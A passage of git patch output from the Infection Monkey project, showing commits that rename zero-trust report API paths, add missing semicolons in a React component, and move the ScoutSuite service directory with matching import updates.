res.json()) .then(res => { ztReport.principles = res; }); - await this.authFetch('/api/report/zero_trust/pillars') + await this.authFetch('/api/report/zero-trust/pillars') .then(res => res.json()) .then(res => { ztReport.pillars = res; }); - await this.authFetch('/api/report/zero_trust/scoutsuite') + await this.authFetch('/api/report/zero-trust/scoutsuite') .then(res => res.json()) .then(res => { ztReport.scoutsuite_data = res; From bf6db078a6d2e5fddbd49805dbd3f8ade9f6a1ff Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 15 Jan 2021 08:16:08 -0500 Subject: [PATCH 127/466] ui: add missing semicolons --- .../cc/ui/src/components/ui-components/AdvancedMultiSelect.js | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js index efd516813..56658cf71 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js @@ -11,7 +11,7 @@ import {getFullDefinitionByKey, getDefaultPaneParams} from './JsonSchemaHelpers. class AdvancedMultiSelect extends React.Component { constructor(props) { - super(props) + super(props); this.enumOptions = props.options.enumOptions; @@ -37,7 +37,7 @@ class AdvancedMultiSelect extends React.Component { } onChildCheckboxClick(value) { - let selectValues = this.getSelectValuesAfterClick(value) + let selectValues = this.getSelectValuesAfterClick(value); this.props.onChange(selectValues); this.setMasterCheckboxState(selectValues); From 01feea905b3680be13da27320e903a5dd5151f71 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 15 Jan 2021 15:34:59 +0200 Subject: [PATCH 128/466] Refactored "scoutsuite_findings" directory back to "scoutsuite" directory, because it doesn't only parse findings --- .../cc/models/zero_trust/scoutsuite_rule.py | 2 +- .../zero_trust/scoutsuite_auth/aws_keys.py | 2 +- .../scoutsuite_auth/scoutsuite_auth.py | 4 +-- .../resources/zero_trust/zero_trust_report.py | 4 +-- .../telemetry/processing/scoutsuite.py | 8 ++--- .../zero_trust/report_data/__init__.py | 0 .../finding_service.py} | 4 +-- .../test_zero_trust_service.py | 0 .../__init__.py | 0 .../consts/findings.py | 0 .../consts/findings_list.py | 0 .../consts/rule_consts.py | 0 .../consts/rule_names/cloudformation_rules.py | 0 .../consts/rule_names/cloudtrail_rules.py | 0 .../consts/rule_names/cloudwatch_rules.py | 0 .../consts/rule_names/config_rules.py | 0 .../consts/rule_names/ec2_rules.py | 0 .../consts/rule_names/elb_rules.py | 0 .../consts/rule_names/elbv2_rules.py | 0 .../consts/rule_names/iam_rules.py | 0 .../consts/rule_names/rds_rules.py | 0 .../consts/rule_names/redshift_rules.py | 0 .../consts/rule_names/s3_rules.py | 0 .../consts/rule_names/ses_rules.py | 0 .../consts/rule_names/sns_rules.py | 0 .../consts/rule_names/sqs_rules.py | 0 .../consts/rule_names/vpc_rules.py | 0 .../consts/service_consts.py | 0 .../data_parsing/rule_parser.py | 2 +- .../abstract_rule_path_creator.py | 0 .../cloudformation_rule_path_creator.py | 0 .../cloudtrail_rule_path_creator.py | 0 .../cloudwatch_rule_path_creator.py | 0 .../config_rule_path_creator.py | 0 .../ec2_rule_path_creator.py | 0 .../elb_rule_path_creator.py | 0 .../elbv2_rule_path_creator.py | 0 .../iam_rule_path_creator.py | 0 .../rds_rule_path_creator.py | 0 .../redshift_rule_path_creator.py | 0 .../s3_rule_path_creator.py | 0 .../ses_rule_path_creator.py | 0 .../sns_rule_path_creator.py | 0 .../sqs_rule_path_creator.py | 0 .../vpc_rule_path_creator.py | 0 .../rule_path_creators_list.py | 35 +++++++++++++++++++ .../scoutsuite_auth_service.py | 0 .../scoutsuite_rule_service.py | 2 +- .../scoutsuite_zt_finding_service.py | 4 +-- .../rule_path_creators_list.py | 35 ------------------- 50 files changed, 51 insertions(+), 51 deletions(-) create mode 100644 monkey/monkey_island/cc/services/zero_trust/report_data/__init__.py rename monkey/monkey_island/cc/services/zero_trust/{zero_trust_finding_service.py => report_data/finding_service.py} (93%) rename monkey/monkey_island/cc/services/zero_trust/{ => report_data}/test_zero_trust_service.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/__init__.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/consts/findings.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/consts/findings_list.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/consts/rule_consts.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/consts/rule_names/cloudformation_rules.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/consts/rule_names/cloudtrail_rules.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/consts/rule_names/cloudwatch_rules.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/consts/rule_names/config_rules.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/consts/rule_names/ec2_rules.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/consts/rule_names/elb_rules.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/consts/rule_names/elbv2_rules.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/consts/rule_names/iam_rules.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/consts/rule_names/rds_rules.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/consts/rule_names/redshift_rules.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/consts/rule_names/s3_rules.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/consts/rule_names/ses_rules.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/consts/rule_names/sns_rules.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/consts/rule_names/sqs_rules.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/consts/rule_names/vpc_rules.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/consts/service_consts.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/data_parsing/rule_parser.py (88%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/data_parsing/rule_path_building/abstract_rule_path_creator.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py (100%) create mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/scoutsuite_auth_service.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/scoutsuite_rule_service.py (92%) rename monkey/monkey_island/cc/services/zero_trust/{scoutsuite_findings => scoutsuite}/scoutsuite_zt_finding_service.py (93%) delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators_list.py diff --git a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py index 4fa37faf6..dee49983a 100644 --- a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py +++ b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py @@ -1,6 +1,6 @@ from mongoengine import DynamicField, EmbeddedDocument, IntField, ListField, StringField -from monkey_island.cc.services.zero_trust.scoutsuite_findings.consts import rule_consts +from monkey_island.cc.services.zero_trust.scoutsuite.consts import rule_consts class ScoutSuiteRule(EmbeddedDocument): diff --git a/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/aws_keys.py b/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/aws_keys.py index 0642333bb..53e757f11 100644 --- a/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/aws_keys.py +++ b/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/aws_keys.py @@ -1,7 +1,7 @@ import flask_restful from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.services.zero_trust.scoutsuite_findings.scoutsuite_auth_service import get_aws_keys +from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_auth_service import get_aws_keys class AWSKeys(flask_restful.Resource): diff --git a/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/scoutsuite_auth.py b/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/scoutsuite_auth.py index ea2086dc5..dbed4dd51 100644 --- a/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/scoutsuite_auth.py +++ b/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/scoutsuite_auth.py @@ -6,8 +6,8 @@ from flask import request from common.cloud.scoutsuite_consts import CloudProviders from common.utils.exceptions import InvalidAWSKeys from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.services.zero_trust.scoutsuite_findings.scoutsuite_auth_service import (is_cloud_authentication_setup, - set_aws_keys) +from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_auth_service import (is_cloud_authentication_setup, + set_aws_keys) class ScoutSuiteAuth(flask_restful.Resource): diff --git a/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py b/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py index 0261ccb7f..984b415cd 100644 --- a/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py +++ b/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py @@ -5,7 +5,7 @@ from flask import Response, jsonify from monkey_island.cc.models.zero_trust.scoutsuite_data_json import ScoutSuiteDataJson from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.services.zero_trust.zero_trust_finding_service import ZeroTrustFindingService +from monkey_island.cc.services.zero_trust.report_data.finding_service import FindingService from monkey_island.cc.services.zero_trust.zero_trust_service import ZeroTrustService REPORT_DATA_PILLARS = "pillars" @@ -27,7 +27,7 @@ class ZeroTrustReport(flask_restful.Resource): elif report_data == REPORT_DATA_PRINCIPLES_STATUS: return jsonify(ZeroTrustService.get_principles_status()) elif report_data == REPORT_DATA_FINDINGS: - return jsonify(ZeroTrustFindingService.get_all_findings()) + return jsonify(FindingService.get_all_findings()) elif report_data == REPORT_DATA_SCOUTSUITE: try: data = ScoutSuiteDataJson.objects.get().scoutsuite_data diff --git a/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py b/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py index 94904b4c7..93a597f90 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py @@ -2,10 +2,10 @@ import json from monkey_island.cc.database import mongo from monkey_island.cc.models.zero_trust.scoutsuite_data_json import ScoutSuiteDataJson -from ...zero_trust.scoutsuite_findings.consts.findings_list import SCOUTSUITE_FINDINGS -from ...zero_trust.scoutsuite_findings.data_parsing.rule_parser import RuleParser -from ...zero_trust.scoutsuite_findings.scoutsuite_zt_finding_service import ScoutSuiteZTFindingService -from ...zero_trust.scoutsuite_findings.scoutsuite_rule_service import ScoutSuiteRuleService +from ...zero_trust.scoutsuite.consts.findings_list import SCOUTSUITE_FINDINGS +from ...zero_trust.scoutsuite.data_parsing.rule_parser import RuleParser +from ...zero_trust.scoutsuite.scoutsuite_zt_finding_service import ScoutSuiteZTFindingService +from ...zero_trust.scoutsuite.scoutsuite_rule_service import ScoutSuiteRuleService def process_scoutsuite_telemetry(telemetry_json): diff --git a/monkey/monkey_island/cc/services/zero_trust/report_data/__init__.py b/monkey/monkey_island/cc/services/zero_trust/report_data/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/report_data/finding_service.py similarity index 93% rename from monkey/monkey_island/cc/services/zero_trust/zero_trust_finding_service.py rename to monkey/monkey_island/cc/services/zero_trust/report_data/finding_service.py index 92f5aebe0..2c5322d92 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/report_data/finding_service.py @@ -6,7 +6,7 @@ from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_details_service import MonkeyZTDetailsService -class ZeroTrustFindingService: +class FindingService: @staticmethod def get_all_findings() -> List[Finding]: @@ -19,7 +19,7 @@ class ZeroTrustFindingService: else: raise UnknownFindingError(f"Unknown finding type {findings[i].finding_type}") findings[i] = findings[i].to_mongo() - findings[i] = ZeroTrustFindingService._get_enriched_finding(findings[i]) + findings[i] = FindingService._get_enriched_finding(findings[i]) findings[i]['details'] = details return findings diff --git a/monkey/monkey_island/cc/services/zero_trust/test_zero_trust_service.py b/monkey/monkey_island/cc/services/zero_trust/report_data/test_zero_trust_service.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/test_zero_trust_service.py rename to monkey/monkey_island/cc/services/zero_trust/report_data/test_zero_trust_service.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/__init__.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/__init__.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/__init__.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/__init__.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/findings.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/findings.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/findings.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/findings.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/findings_list.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/findings_list.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/findings_list.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/findings_list.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_consts.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_consts.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_consts.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_consts.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/cloudformation_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudformation_rules.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/cloudformation_rules.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudformation_rules.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/cloudtrail_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudtrail_rules.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/cloudtrail_rules.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudtrail_rules.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/cloudwatch_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudwatch_rules.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/cloudwatch_rules.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudwatch_rules.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/config_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/config_rules.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/config_rules.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/config_rules.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/ec2_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ec2_rules.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/ec2_rules.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ec2_rules.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/elb_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elb_rules.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/elb_rules.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elb_rules.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/elbv2_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elbv2_rules.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/elbv2_rules.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elbv2_rules.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/iam_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/iam_rules.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/iam_rules.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/iam_rules.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/rds_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rds_rules.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/rds_rules.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rds_rules.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/redshift_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/redshift_rules.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/redshift_rules.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/redshift_rules.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/s3_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/s3_rules.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/s3_rules.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/s3_rules.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/ses_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ses_rules.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/ses_rules.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ses_rules.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/sns_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sns_rules.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/sns_rules.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sns_rules.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/sqs_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sqs_rules.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/sqs_rules.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sqs_rules.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/vpc_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/vpc_rules.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/vpc_rules.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/vpc_rules.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/service_consts.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/service_consts.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_parser.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py similarity index 88% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_parser.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py index 84dba4003..c5855ddd5 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_parser.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py @@ -1,6 +1,6 @@ from common.utils.code_utils import get_dict_value_by_path from common.utils.exceptions import RulePathCreatorNotFound -from monkey_island.cc.services.zero_trust.scoutsuite_findings.data_parsing.rule_path_building.rule_path_creators_list import \ +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators_list import \ RULE_PATH_CREATORS_LIST diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/abstract_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/abstract_rule_path_creator.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py 